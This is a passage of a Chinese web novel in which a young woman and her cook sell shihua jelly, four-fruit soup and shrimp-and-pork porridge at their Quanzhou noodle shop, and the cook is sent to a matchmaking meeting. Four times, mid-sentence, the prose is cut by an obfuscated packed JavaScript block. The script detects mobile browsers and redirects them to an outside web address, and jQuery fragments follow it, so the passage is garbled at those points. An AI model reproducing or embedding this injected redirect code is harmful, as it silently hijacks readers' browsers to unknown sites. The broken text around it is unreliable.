“我们可以只卖三天石花膏试试水，如果大家喜欢，以后我们可以熬一点其他的料添在里边一起卖，这样也能多挣一些！”苏月娘脑子转得快，这才一小会儿，就想好了要怎么做石花膏生意。 “既然如此，找到海石花就开始做吧。” —— 如许东山所说，海石花并不是什么很值钱的东西，总卖海货的海女们并不会特意携带晒干的海石花出来售卖。 苏月娘起了个大早问遍了整条街的海女，才从一个惠安女手上买到了一两多一点的干大海石花（ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196825|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 1）。 …… 送走了早上的客人后，苏月娘便钻进厨房开始制作石花膏。 阿生惦记着这口又凉又甜的石花膏，便就跟在苏月娘身边看着。 海石花顾名思义是海里石头上生长的花草。 海味自带海腥味，海石花也不例外。 为了妥善去除海石花里的腥味，使石花膏有最好的味道，苏月娘找了点酒撒在已经洗得水清无杂质的海石花上，再倒上两瓢水浸泡两刻钟。（2） 给海石花去腥之后，许东山已经在大锅里烧好了水，苏月娘再次淘洗海石花后，便抓着那一坨海石花，丢到沸水里，用大木勺将海石花推均匀。 海石花被裹挟在沸腾的水中翻滚，并随着沸出的大水泡四处游动。 一时间，才一两多一点的海石花飘得跟有一斤似的。 苏月娘往锅里倒入一小勺米醋后，便将看锅的活交给了许东山。 海石花需得不断沸腾搅拌，才能煮出胶质。 将近半个时辰过去，苏月娘再次回到厨房，与许东山一齐将海石花捞出锅，余下一大锅浑浊粘稠的汤水。 海石花外形多细小分支，沸煮过程中，不少细支掉落在汤水中，并非漏勺能够捞起的。 这边需要再人工过滤一次。 待锅稍凉，许东山让苏月娘将纱布固定在大桶中，自己则用新滤布垫着锅耳，将沉重的大锅提起，小心翼翼地将海石花水往滤布上倒。 他忧心倒快了，会烫伤苏月娘，愣是咬着牙，拎着十来斤的大锅弯腰慢倒那锅黄色的海石花水。 倒完海石花水，苏月娘没让许东山再费劲将大桶提到案台上去。 大桶合海石花得有六斤多，苏月娘累得够呛。 她想过将海石花扎在布包里煮，但那样又难以将胶质煮出，所以，他们两人还得辛苦一阵了。 …… 临近正午，那一大桶海石花水已经完全凝固了。 二人合力将石花膏倒到大盘里趴着，这石花膏浅处透明，深处便只能瞧见一团暗黄，用手拍一拍，这团石花膏还一弹一弹一晃一晃的。 泉州人吃石花膏，多喜欢将石花膏刨成细条食用，索性家中有擦菜头的刨子，不然这五斤多的石花膏得切得人头晕眼花。 此时还没客人上门，苏月娘就先给自己和许东山、阿生各刨一碗试试。 苏月娘每碗各放一小把石花膏条，和一小勺用白水稀释过的蜂蜜，最后倒上一大杯用井水冰镇过的凉水调和一番。（3） 原来外头玩耍的阿生掐着时候回来，正好碰上苏月娘端着石花膏出来。 “快坐下喝完石花膏凉快凉快！” 满头大汗的阿生和苏月娘道谢后迫不及待地趴在碗边舀了一勺冰冰凉凉的蜂蜜水送入口中。 阿生第一口没吃上石花膏，便只能在第二口多下点功夫用调羹将长长的石花膏弄断再舀上来。 苏月娘见此，决计一会儿把石花膏刨短一些。 暗黄色的石花膏擦成细丝就成了晶莹剔透的淡黄色，放在蜂蜜水中只能依稀看出一点长条形状。 苏月娘看着阿生露出满足的表情后才端着碗，用调羹捞起石花膏送入口中。 用大海石花做出的石花膏口感最为脆嫩，配上清凉香甜的蜂蜜水，炎炎夏日的烦躁与闷热好似顷刻之间消散无踪。 21. 四果汤 “月娘头家！你在吃什么好吃的！”干货行的吴头家摇着蒲扇，大步流星地走入堂屋，凑在苏月娘边上往碗里瞧，“石花膏！还有吗？给我来一碗！” “好嘞！还要点其他的吗？”苏月娘并没有起身的意思。 许东山见此，自觉地站了起来。 “咸饭来一碗，一共多少钱？” “你是头一个来买石花膏的，今天你的石花膏就不收钱了！” 吴头家爽利地掏出四文钱推给苏月娘，“你还真是这条街上最会做生意的少年家！” 许东山很快端着一碗南瓜咸饭和一碗石花膏出来了。 吴头家这人不拘小节，捧着冰凉的石花膏就着碗边大喝了一口。 “月娘头家，石花膏这东西用料简单，价低不挣，价高不值，你应该有别的打算吧？” “自然是有的，这三天我单卖石花膏看看大家的反应，若是卖得好，我就去米铺买点绿豆莲子薏米之类的杂粮，做成四果汤！” 吴头家认可地点了点头，道：“等你上了四果汤，我可要做第一个上门的！” “不管您什么时候来，我都请您喝一碗！” …… 有吴头家坐在那儿一口南瓜咸饭一口石花膏，接下来进门的客人们纷纷点了石花膏。 左右一大碗冰冰凉凉、蜂蜜还下得足的石花膏也只要两文钱，大家都乐意得很。 一两多一点的大海石花能够做出五斤石花膏，五斤石花膏足够做五十人食用。 月娘面线糊店的生意一向红火，五十碗石花膏在午时四刻之前就一售而空。 姗姗来迟的客人们没能吃上石花膏，便只能遗憾地点其他的东西。 饭点过去了，阿生的玩伴们一齐来到月娘面线糊店找阿生玩。 阿生骄傲地与玩伴们说起了今天喝了一大碗石花膏的事情。 石花膏这东西只在炎炎夏日才会售卖，镇上几乎没有人家会为这种时令性太强的吃食特意开一家店，不仅如此，海石花虽然不贵，但调配海石花的蜂蜜贵重，普通百姓家也不会舍得为了一点海石花去花大价钱买蜂蜜。 百姓们想吃，便只能找挑担走街串巷卖石花膏的商贩买。 卖石花膏的商贩“神出鬼没”的，百姓们逮不到人，一年到头吃石花膏的次数实在屈指可数。 听阿生绘声绘色地描绘石花膏如何如何美味，孩子们馋得哈喇子都快流下来了。 只可惜石花膏都卖完了，苏月娘想请他们喝一碗都不成。 —— 有阿生在玩伴中的传扬，第二日还不到正午，五六个大人陆陆续续地领着自家孩子上门喝石花膏。 “昨天我家臭小子一回家就缠着我要我答应今天早上早点带他来喝石花膏！” “我家的也是！他跟我哭了一晚上，我被他烦得不行了，才点头答应！” 大人们问过价格后，得知一碗两文钱，比挑担人卖的还便宜一文钱后，原想只点一碗的纷纷多点一碗。 今天石花膏备了二十斤，苏月娘也就给这些厝边多刮了些石花膏。 大家都呼噜噜地喝起了石花膏，苏月娘也没忘记给大功臣阿生也送上一碗。 “以后你去街上玩的时候，记得帮月娘姑姑向你的好朋友们讲讲这儿的石花膏！作为答谢，姑姑这儿的石花膏随你吃！” 阿生郑重其事地接下这份肥差。 —— 阿生打小跟着红姑在街上卖豆腐，镇上的孩子有八成他都认识。 阿生这么小伙计太过尽心尽责，只要逮到一个认识的，就开始绘声绘色地与人家说他喝了石花膏的事情。 这么一来可苦了镇上那些做爹娘的。 不过疼孩子的大有人在，午后太阳最烈的时候，石花膏卖完了。 于是乎苏月娘大胆地在第三日准备了三十斤石花膏。 原以为会多少剩一些，没成想镇上的人们对石花膏很是热情，三十斤石花膏正正好卖完。 既然如此，比石花膏更加诱人的四果汤就能准备起来了。 …… 四果汤这东西于数百年前诞生于闽南的街巷之间，起初四果汤与字面一般只有四果——莲子、银耳、绿豆、薏米。 闽南各地的四果汤做法各有不同，泉州府多是以蜂蜜石花膏汤做底，佐以四果，做成四果汤。 但随着岁月变迁，闽南人在土地上多加搜罗，四果汤不再只有四果，红豆、腰豆、白芸豆、仙草冻、花生仁、芋头甚至于是水果都纷纷成为四果汤的小料。 石花膏能卖得好，是因为价格低廉又大碗，但若是做成四果汤，价格一提，买四果汤的人怕是不会多。 虽然当下的季节做四果汤的谷物不是什么贵物，但卖不出去积在手头也算是亏本。 苏月娘可不乐意做亏本的生意。 思来想去，她决定从最简单的四果开始做起。 干货行的吴头家知道苏月娘要做四果汤，便提着银耳干、莲子各一袋上门送与苏月娘试用。 四果汤与石花膏一样讲究冰凉为佳，泉州炎热异常，难以制储冰块，是以四果炖煮起锅之后还需彻底放凉才能加入井水冰镇过的石花膏汤之中才不会影响入口的温度。 为了能够在正午之前将四果汤做好，四果在前一日入睡前便泡上了，到第二日苏月娘早起时，四果皆吸饱了水分，小小的绿豆放在手心一搓，外皮轻易被搓下，再一掐，绿豆自中间裂开。 这样的程度便可以下锅炖煮了。 这段时日面线糊买不太动，苏月娘索性让许东山只备醋肉、油条、大肠、卤蛋等卖得最好的几样配料，省下的时间用来做四果汤与咸饭。 去心莲子、绿豆、薏仁做法相似，只需放入水中，加上一大块□□糖炖煮至一戳便软烂即可。 豆香太浓，清早来吃面线糊的客人们一进门就使劲儿地吸鼻子。 大家一闻也就知道是怎么回事。 “月娘头家，你是打算卖四果汤了吧！” “是啊，四果汤中午就上了！”苏月娘小心翼翼地将面线糊放在客人面前，“我记着您这两天还带着你家两个孩子过来喝石花膏呢，您可一定要带着两个孩子过来捧场！” 那客人听了后，哭笑不得，“唉，我家那两个都连喝了两天的石花膏了！对了，四果汤你打算卖多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202366|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少文钱？太高我可不敢带着孩子过来！” 苏月娘早先就考虑过这问题，但月娘面线糊店从开店起走的就是实惠的线路，若是因为加了料就胡乱定价，她先前两个月的努力怕是会付之一炬。 “现在什么东西都贵，大家又是厝边头尾的，我也不好意思买太贵呀！还是原先那么大碗，里面有石花膏、绿豆、薏米、莲子和银耳，就卖四文钱赚个辛苦罢了！” 苏月娘一顿介绍后，才喝两口面线糊的客人们立即对冰冰凉凉的四果汤心动不已。 有人怕下工来晚了，四果汤没了，忙举手示意，“月娘头家，你下午给我留一碗呗！我晚点过来喝！” 都是熟客，苏月娘又记性好，看了一眼便将对方的脸给记下来了。 “那咱们可说好了，我给你留一碗四果汤，你可一定得来！” …… 早上的生意做完，锅里炖着的绿豆莲子薏米也差不多该起锅了。 在院子里刷碗的许东山闻着厨房里飘出来的清新豆香，不自觉地抬头朝窗望去。 只瞧见苏月娘站在灶边提着大炖锅倒完粘稠滚烫的豆料后，哼着轻快的曲儿弯下腰从竹编漏篮里取了一个小碗和一把调羹，随后每种豆料各取一勺丢入碗中晃一晃再撅着嘴随意吹了两下便迫不及待地舀起一勺带着黏糊糖液的豆子放进嘴里。 许东山垂眸，暗数两下。 果不其然，厨房里那个馋嘴的姑娘被烫得哇哇大叫。 许东山无奈地摇了摇头。 糖这东西不管是稀的稠的都不好冷却，这才吹没两下，就敢往嘴里放，苏月娘也真是莽。 苏月娘被烫老实后便没敢再吃了，而是选择将东西搁在一边放凉。 趁着东西还没冷却，苏月娘继续煮银耳。 另三样料都裹着甜腻的冰糖液，银耳便只需要清水煮熟即可，不然轻易会将四果汤调得太甜。 苏月娘无所事事地站在锅边用筷子戳着锅里的银耳，许东山擦着手归来，见她在那戳了半天银耳，忍不住道：“别戳了，一会儿戳出胶了。” 苏月娘正戳最后一下，见锅中飞舞的银耳叶朵舒张蹁跹，筷子戳入无甚阻碍且颇为嫩脆，便收了筷子，着手捞出银耳放在盆中冷却。 不知是怕苏月娘不长记性又将滚烫的东西塞入口还是担忧这些配料无法按时冷却下来，许东山招呼苏月娘搭把手，一齐将四样料端到院子里的水缸隔水冷却。 …… 日近正中，愈发刺眼毒辣，苏月娘与许东山将冷却得差不多的四盆配料搬回厨房。 料想客人们即将上门，两个人也顾不上先品尝一番，便开始在案头摆碗放料添水。 四果汤中有绿白黄四种配料，怎么瞧都比单一颜色还难以瞧见东西的石花膏来得有食欲。 昨日苏月娘就嘱咐阿生与大家说一说今日要上四果汤的事情。 果不其然，今日先登的还是几个馋甜的孩子和他家无奈的大人。 许东山给其中一碗放上调羹。 “你先吃，我招待客人。” 苏月娘不与许东山客气，先行端着碗出去坐在门边那张桌当活招牌去了。 22. 排骨虾仁咸粥 “大家都吃点什么？四果汤刚刚做好！”苏月娘在门边那桌坐下，以便刚入门的客人能够第一眼瞧见她碗中的四果汤。 一位住在对面的阿婶走到苏月娘身边，往苏月娘的碗里瞧了一眼，苏月娘赶忙可以用调羹搅和几下，将沉在碗底的四果翻上来。 “哎呦，料下得可真多！这一碗真卖四文钱？” “当然是真的！如果有哪样不吃，可以跟许大哥说一声，让他给你换！” “这么一大碗挑担的少说也得卖五文起步！”这个阿婶惊奇道：“我还以为你会狮子大开口呢！没想到还真就卖四文钱！来吧！给我孙子来一碗！” 这个阿婶一向节俭，不怎么舍得在自己身上花钱，苏月娘也就没再跟她多加推销，只是示意许东山记得给这个阿婶倒一杯茶。 带着孩子来的大人基本上都给孩子们点了四果汤，而大人们则是点面线糊或者是南瓜咸饭。 有的大人想着省点钱，付了一份南瓜咸饭的钱，让许东山打了两人的份，还多要一个小碗给自家孩子盛着吃。 好在现在南瓜价格大跌水，四文钱卖两人份，苏月娘还是有得赚。 这两天许东山被阿生带来的玩伴折磨得不轻，现在他看到小孩就觉得头皮发麻，一送完吃食，他便躲厨房里去烧柴煮汤了。 都是厝边头尾，大家自然都是凑在一块儿一起吃东西。 堂屋里响起了此起彼伏的喝四果汤的声响。 享受了一阵过后，有位点了南瓜咸饭的厝边起身找厨房里的许东山要了一杯温茶。 “月娘头家，四果汤是甜的，南瓜咸饭也基本是甜的，甜的配甜的怪烧嗓子的，你就没想过做点咸口的？” 甜汤才刚卖没两天，苏月娘自然是还没来得及想到这一层。 她笑道：“多亏您提醒，我看看这两天添点什么咸口的吃食好。” —— 人们逐渐适应了夏日的昼长夜短，近几日，苏月娘开始将闭店的时间往后延了半个时辰。 堂屋里还有最后几个客人，苏月娘便收拾了厨房，开始刷碗了。 连吃了几天甜汤，苏月娘就馋口咸味的肉，今午她与许东山说了这事儿后，许东山便顶着大太阳出门买了两条排骨和一兜子活虾，准备傍晚煮一锅咸稀饭。 听着厨房里头剁排骨的声响，苏月娘连忙放下丝瓜干，跑到门边喊了一声。 “鱿鱼干少放一点！” 今日许东山去得迟，街上已经买不到鱿鱼了，最后他只能退而求其次从家里翻出一袋过年买的鱿鱼干先用着。 苏月娘喜好粥里有海的味道却又不喜欢鱿鱼干，鱿鱼干与她而言又柴又腥，放多了会毁掉那锅粥。 不多时，许东山端着一小盆排骨去到院子里舀水清洗。 苏月娘歪着脑袋盯着带着血水的排骨想了好半天。 和苏月娘相处久了，许东山也算对她有点了解看她这幅样子，他也就猜到她有话想说。 洗完排骨后，他在那站着，等她发言。 “今天有人说四果汤配南瓜咸饭太烧喉咙了，我想着咱们把南瓜咸饭换一换？” 许东山看她一直看着自己手头的排骨，“你是想卖排骨咸饭？南瓜咸饭不卖了吗？” “南瓜咸饭现在街上不少店家在卖，我们又是四文钱可以不停续饭的路子，说到底，真正靠南瓜咸饭挣到手的也不算很多…… 若是换成排骨咸饭，提一提价再改一改续饭的规矩，利润一定能往上提一提！ 至于南瓜咸饭，我们可以先过渡两天，如果排骨嫌贩卖的好的话，南瓜咸饭就可以不卖了！” 许东山抿唇，“那这盆排骨还做咸稀饭吗？还是先做排骨饭尝尝？” “我相信以许大哥你的厨艺，头一锅排骨饭就能很好吃！所以今天晚上我们还是做排骨咸稀饭吧！” “好。” 许东山端着那盆洗干净的排骨回到厨房里，先烧柴热锅，其间取姜与香菇切丝、鱿鱼干剁成小片。 锅热下油，倒入排骨与姜丝快速翻炒至排骨表面轻微焦黄、肉香浓郁便可加入香菇条、鱿鱼干片继续翻炒。 热油激发香菇与鱿鱼干的香气后，许东山将锅中食材盛出沥油倒入大炖煲里，而用来炒食材的油则留在锅中另做他用。 炖煲中加水、少许盐巴，盖上盖子稍作炖煮。 趁着大锅中底油尚还滚烫冒泡，撒入一小把剁碎的红葱头炒香，最后倒入洗干净的粥米以及一勺酱油快速翻炒至水分大致蒸发，便可以将锅中的米铲入汤水沸腾的炖煲中一齐滚煮。 堂屋中的客人已经全然离开了，许东山暂时无事可做，便拎着擦桌布外出关上大门，再动作迅速地擦桌收碗，将堂屋收拾得干干净净的。 许东山搬着那一小摞碗回到厨房，就看见刚刷完碗的那人偷偷掀开锅盖往锅里看。 大概是白日时苏月娘被四果烫得哇哇大叫的事情太过深入人心，许东山路过时，提醒道： “东西还没熟，而且很烫，你先不要吃。” 苏月娘，“……” 许东山出去洗碗了，苏月娘讪讪地将盖子盖了回去。 她看起来像是很馋的人吗？ 为了彰显自己不是个馋嘴的人，苏月娘找到虾，开始处理虾壳与虾线。 洗三五副碗筷也就两下子的事情，许东山回到屋里，看到苏月娘很是讲究地用细签子勾虾背上的虾线。 “可以不用这么讲究的。” 许东山儿时都不知虾线为何物，只认为虾煮熟剥了壳就可以直接开吃，直到后来去宴席班子里当了学徒，师父教他某些讲究些的菜需得挑了虾线再做，他才知道吃虾还能吃得如此讲究。 “我可是个讲究人，我不仅不会吃生的烫的，我吃虾还得先把虾线挑了再吃！” 这话听起来像是气话。 许东山听出她话里的阴阳怪气，斟酌过后，说道：“是我狭隘了，你别生气。” 苏月娘哼哼两声，算是听进去了。 等苏月娘仔仔细细地挑好虾线，咸粥也差不多快熟了。 许东山接手那碗被处理得干干净净的虾仁倒入锅中搅拌一番，继续炖煮至虾仁由灰色变为橙红色。 …… 半刻钟后，咸粥煲好了，最后撒上一点芹菜碎便能够出锅了。 原先那个晚饭起锅一定会端着碗等着的那个人现下颇为装模作样地坐在堂屋里等着许东山给她端饭。 许东山倒没觉得什么，就是看她这样子，就像觉得看到许春喜一样。 粥饭不顶饱，许东山给苏月娘拿了个大碗装粥，并将多数排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206283|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨和虾仁都盛给了她。 “天快黑了，快点吃。” 两碗排骨虾仁咸稀饭一起放在桌上，显而易见，许东山那碗粥多肉少，自己这碗粥少肉多。 既然许东山都这么诚恳地用实际行动道歉，苏月娘也就决定大方地原谅他了！ 不过许东山的胃口光喝那点稀稀粥可不够，苏月娘从桌上的盒里取出一把调羹，将自己碗中的排骨与虾仁舀了一些给他。 “不用给我，你吃就好。” 苏月娘，“我可没那么馋，我也用不着吃这么多！” 许东山，“……我没觉得你馋。” “打住！我可不想跟你继续这个话题！” 许东山看了她两眼，愈发觉得她幼稚得跟许春喜有得一拼。 两人各自沉默地喝着鲜美的咸粥，进食过半，大门被人叩响。 许东山放下调羹去开门。 门外站着挎着篮的红姑。 “伯母，您怎么这会儿过来了？”许东山让开一条道请红姑进门。 红姑一边和苏月娘打招呼，一边入座。 “我摘了点檨仔（1），给你们送一点！”红姑从篮子中挑出五六个澄黄又配有一些青绿色的檨仔放在桌上，“现在天时如此热，你们要趁早吃完！” “刚好我还想着要去街上买一点呢！没想到您就送来了！” 见苏月娘要给自己倒水，红姑连忙让她坐下。 “我就是有几句话过来跟阿山说说，水我就不喝了。”红姑笑眯眯地看向一旁的许东山。 许东山顿时预感不好。 “你知道镇中有家姓林卖豆花的吗？那家有个女儿今年也二十了，因为守孝耽误说亲，她二叔看你们岁数差的也不是很大，就想让我帮着做个媒！” 许东山想都不想，就拒绝道：“我现在还没有成家的心思。” “你马上就三十了，再两年就半截入土了！你可得抓紧成家生子，这样你爹你阿公在地下也能闭眼了！” 苏月娘听红姑这算岁数的法子，不由得笑出了声。 “你看你看！你头家都笑你这么大岁数了还不成家！” 苏月娘立即止住笑，“我……我绝对没有嘲笑你的意思！” 许东山无奈地捏了捏眉心，“伯母，你的好意我心领了，但是我现在要钱没钱要地没地，让人家跟着我受苦做什么？” “这不是有月娘给你发工钱和租金吗？昨天我来接阿生的时候跟月娘打听过，你一个月到手的钱养家肯定不成问题！”红姑握着许东山的手，语重心长道：“你以前家里有钱，过惯了阔日子，觉得你手头那点钱不能养家也正常。” “好了，阿生还在家等着我吃饭，我得回去了！明天早上林姑娘会挑着豆花来这条巷子卖，你记得去和人家相看相看！” 红姑压根不给许东山任何拒绝的机会，提起篮子就扬长而去。 许东山头疼地回到桌边坐下，苏月娘看他那一脸不情愿，死死咬着唇憋笑，可唇齿之间到底是泄了点声出来。 许东山瞥她一眼，“有什么好笑的？” 苏月娘用力摇了摇头，“不好笑……不好笑……” 可那双眼分明笑意盈盈。 许东山一想到明日还要应付一个姑娘，顿时觉得碗里的粥不香了。 23. 甜豆花 相看这事儿对许东山来说好像不是什么很值得重视的事情。 苏月娘特意起了个大早，就看见许东山跟往常一样穿着他那朴实的旧衣衫，在厨房里忙着他平日里会做的事。 她抱着臂在许东山身后转悠了一会儿，许东山岿然不动地站在原地推着锅里已经炸出酥皮的醋肉，半个眼神都没留给苏月娘。 苏月娘对着许东山来回打量，身板高大板正，展露在外的两条胳膊结实粗壮，除了额头那儿有点破相、脸长得凶一些以外，他的脸面没有任何缺点。 若非要挑点毛病，那大概就是他穿得太过随便。 醋肉沥完油出锅，苏月娘往碟中伸手捏出一块最大的醋肉塞进嘴里，含糊不清道：“许大哥，今天你要和林姑娘相看，就别穿得那么随意了！” 许东山继续往锅中倒入斜切成扁块的鸡卷，“你别操心了。” 苏月娘一把抢过许东山手里的大勺，将他往边上推了推。 “快去换一身干净又没打补丁的衣裳！争取给林姑娘留个好印象！” 许东山油盐不进，转身走向一旁的菜板，提刀剁卤大肠。 看着侧脸冷酷的许东山，苏月娘腹诽了几句，一低头，又被锅里冒出的油烟熏了一脸。 “算了算了……你继续干活吧！干完活一定记得换衣裳！” 当头家的就是潇洒，锅铲一丢就甩着手出去凉快了。 许东山只好无奈地重拾锅铲。 —— 怕耽误许东山和林姑娘相看，苏月娘早早地就打开大门，守在门口等着林姑娘挑担上门。 “许大哥，你别磨蹭了！快点去换衣裳！”苏月娘摇着蒲扇扭头冲着里头大喊。 许东山充耳不闻地低头喝面线糊。 “你快动起来呀！不然我扣你工钱了！” …… “再不动就扣两天工钱喽！” …… “许大哥——” 终于，在苏月娘威胁第三回的时候，许东山捧起碗，一口闷了面线糊。 和姑娘相看，哪有挣钱来得吸引人？ 看着许东山起了身，苏月娘满意地笑了笑，随后朝外头伸出脑袋，往巷外望。 许东山在屋里翻找一番，能找到的最崭新的一身衣裳是许春喜出嫁时为了撑场面买的。 可惜那是一身冬装。 所以，许东山在屋里百无聊赖地干坐了半刻钟，原模原样地出去了。 怎知他才刚走到堂屋，苏月娘便快跑到他身边，将他拉出了屋。 “来了来了！许大哥你争气点！” 许东山听见越发接近的叫卖声： “卖豆花喽——” “刚做好的豆花两文钱一碗！” 苏月娘，“许大哥，你问她买两碗豆花！然后请她到店里坐坐！” 许东山来不及躲，林姑娘就挑着豆花出现在了巷口。 “卖豆花喽——” “这里！这里要两碗豆花！”苏月娘生怕许东山不主动，便替他朝着林姑娘招手。 林姑娘个头不怎高，人还清瘦，但是挑着担子走路，步伐很是轻快敏捷。 她走至面线糊店门口，微微弯腰，将两个大箩筐搁在地上。 “姑娘有碗吗？”林姑娘抬起头冲着苏月娘笑，小麦色的面庞上镶嵌着明亮的眼眸与小巧的唇鼻。 面相很是不错。 苏月娘抬起胳膊撞了撞许东山，“表哥，你去屋里拿两个碗出来！” 许东山对这个称呼感到诧异，但转而一想，苏月娘大概是为了避嫌。 趁着许东山去厨房拿碗，苏月娘对着林姑娘笑笑，“林姑娘要不要进来坐坐？尝尝我家的面线糊？” 林姑娘落落大方地应道：“好，正好我也许久没有喝过面线糊了。” 苏月娘帮着林姑娘拎着其中一个箩筐进了屋。 许东山取碗出来，见苏月娘将林姑娘请进来了，一时不知道该继续往前走，还是转身回厨房里待着。 苏月娘上前接过许东山手上的碗，“林姑娘有什么不吃的？” 林姑娘笑着摇摇头。 “你快去把料给林姑娘都放一遍！”苏月娘将许东山往厨房里一推，便端着碗去装豆花了。 天刚亮不久，林姑娘才刚挑着担出门，两大筐豆花都还没卖出多少。 林姑娘弯着腰，掀开盖在箩筐中大桶上的盖布，取一把边缘锋利的浅底大铜勺沿着刮过的痕迹刮起了豆花。 铜勺轻轻一掠，热气腾腾的奶白色豆花被削上了铜勺中央，林姑娘弯腕一倒，豆花滑入碗中，稍有颤动却不见半分碎散， “这豆花都是林姑娘自己一人做的吗？” 林姑娘将大碗盛了八分满，而后浇上两大勺调和好的红糖水，“对，都是我一人做的。” “磨豆煮浆挑担都是一人完成，林姑娘当真是不容易！”苏月娘看林姑娘的肤色与手，便知道林姑娘当是受了很多苦的。 林姑娘盛好第二碗，直起腰将之递给苏月娘，那张面上不见半点对生活的忧愁。 她看着苏月娘白皙的面庞羡慕道：“我羡慕月娘头家能有一家店面遮风挡雨。” “你叫我月娘就好了！”苏月娘牵着林姑娘的手，与她一齐入座。 林姑娘也与苏月娘交换了名字，她大名叫林莲，但旁人都爱叫她阿莲。 许东山端着沉甸甸的面线糊放置到阿莲面前，刚想躲回厨房，他就被苏月娘喊住。 “许大哥我给你买了碗豆花，你坐着吃啊！”苏月娘将另一碗豆花推向许东山。 “我……” 她生怕许东山不给面子，瞪圆双眼，做出“工钱”嘴型。 迫于生计，许东山坐下来了。 阿莲用调羹搅了搅几乎看不见面线糊的面线糊，心中暗道这表兄妹二人也太过于热情了，但是当她抬头看对面的许东山，对方那张凶相脸上的表情实在坦然，连个多余的眼神都没有给她。 或许，热情的只是苏月娘。 这一趟见面没有结下姻缘，但认识了这条街上最为年轻的一位女头家，也算是好事一桩。 苏月娘也是头一回碰见这种场面，她能帮着将人喊进来，却没法再硬生生地撮合两个人。 被点错的鸳鸯，每一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223646|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵线搭桥的都有过错。 苏月娘点到为止。 她专心品尝阿莲做的豆花。 吃腻了面线糊与白粥，偶尔吃上这么一碗甜滋滋的豆花让人倍感新奇。 木勺蒯起大半勺滑溜溜、没有孔洞的豆花，铺在上层的红糖水顺着倾斜的勺沿滑入勺中。 这样吃怕是会太齁，苏月娘将红糖水往外倒了些，才将豆花送入口中。 豆花由黄豆浆制成，味道与黄豆浆无甚差别，但豆花胜在口感独特，搭配上红糖水，能够很好地去掉豆花里残留的豆腥味，比起豆浆，豆花处处都更胜一筹。 “这豆花甚是美味！往后你若开一家小店，添几样别的吃食，想必，生意一定不会差到哪去！” 阿莲笑弯了眼，“先谢过你这金口玉言了，来日开了店，一定请你上门放鞭炮！” —— 这场相看想也知道结果。 许东山没看上阿莲，阿莲也没看上许东山，倒是苏月娘与阿莲自此结识。 许东山有惊无险地结束这场相看后，整个人都轻松了起来，格外有劲地翻炒半锅排骨。 苏月娘将绿豆、莲子、薏米焖在锅里，一时找不到事做，只好走到大灶边坐下往灶膛中塞枯叶。 看着锅里的烟越冒越浓，许东山赶紧将排骨铲到大盆里。 “别添了，排骨要着了！”许东山蹙眉。 “许大哥，你觉得阿莲的豆花怎么样？”苏月娘没来由地问道。 许东山生怕苏月娘还惦记着相看那事儿，“不怎么样……” 苏月娘白了他一眼，又往锅里塞了两把叶子，灶膛中火旺非常，锅里剩余的油噼里啪啦地冒着泡，许东山一大盆洗净的米倒下去，油花顿时滋滋地往上乱喷。 身经百战的厨子都不怕飞溅的油花，锅中的油四处喷溅，许东山躲都不带躲一下。 苏月娘看了，都替他肉疼。 “我在想，等我手头更宽裕了，我一定要再多开一家店……那家店就不卖面线糊了，就专门卖豆花、四果汤，我看阿莲也是个能干的人，到时候如果她还没开自己的店，我想请她去我的新店里做豆花……” 苏月娘这话说得肯定，她打心底认为自己假以时日一定能再开一家新店。 许东山心底受到这话的触动，下意识扭头看她。 蒙着一层跳动火光的面庞上是志在必得的笑容。 她一向都是这么自信，从开店前就是如此，她始终坚信她会挣大钱，挣了钱也从不吝啬，无论是对自己还是对他人…… 和这样一个头家呆在一块儿，许东山心里逐渐生出了对未来的希冀—— 至于这希冀是什么…… …… “许大哥，米快糊了！” 许东山这才回过神来着急忙慌地挥动锅铲。 所幸锅里的米还没糊。 方才苏月娘见许东山盯着自己许久，疑心自己面上沾了柴灰，连忙起身外出检查仪容。 许东山余光追随着苏月娘出去，收回视线时，目光触及自己破旧的衣衫与称不上多新的家，他心底燃起的那一小簇火又被当头浇灭。 24. 油淋小管 